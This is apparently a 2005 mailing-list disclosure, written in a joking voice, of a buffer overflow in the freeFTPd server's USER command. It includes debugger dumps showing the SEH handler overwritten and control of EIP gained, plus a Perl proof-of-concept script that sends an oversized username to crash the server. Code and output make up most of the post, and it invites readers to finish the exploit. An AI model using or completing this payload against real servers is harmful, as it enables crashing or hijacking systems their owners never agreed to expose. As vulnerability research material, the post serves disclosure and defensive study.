<div>Hi,</div>
<div> </div>
<div>While drooling over my new Adriana Lima wallpaper, my tongue accidentally hit my keyboard and more than 1012 chars were sent to the login screen of my freeftpd server (which i use to backup my Adriana Lima pics). Guess what...the server crashed! Luckily I attach ollydbg to every process I have running and ths is what I found:
</div>
<div> </div>
<div>ECX 50505050<br> </div>
<div>EIP 77C460CB msvcrt.77C460CB<br>Log data, item 0<br> Address=77C460CB<br> Message=Access violation when reading [50505050]<br> </div>
<div>77C460CB 8B01 MOV EAX,DWORD PTR DS:[ECX]</div>
<div> </div>
<div>well, eip doesnt get overwritten, but SEH does:</div>
<div> </div>
<div>
<p>0012B6CC 41414141<br>0012B6D0 42424242<br>0012B6D4 42424242<br>0012B6D8 43434343 Pointer to next SEH record<br>0012B6DC 47464544 SE handler</p>
<p>EIP 47464544</p>
<p> Log data, item 0<br> Address=47464544<br> Message=Access violation when executing [47464544]<br></p></div>
<div> I leave the exploit coding as an exercise...</div>
<div> </div>
<div>enjoy</div>
<div> </div>
<div>sample crash code:</div>
<div> </div>
<div>
<p>#!/usr/bin/perl -w<br>#freeftpd USER buffer overflow<br>#barabas - 2005</p>
<p>use strict;<br>use Net::FTP;<br>my $user="\x41"x1011;<br>$user .="\x44\x45\x46\x47";#overwrite SEH<br>$user .="\x50"x400;</p>
<p>my $ftp = Net::FTP->new("<a href="http://127.0.0.1">127.0.0.1</a>", Debug => 1);<br>$ftp->login("$user","whatevah");</p>
<p><br> </p></div>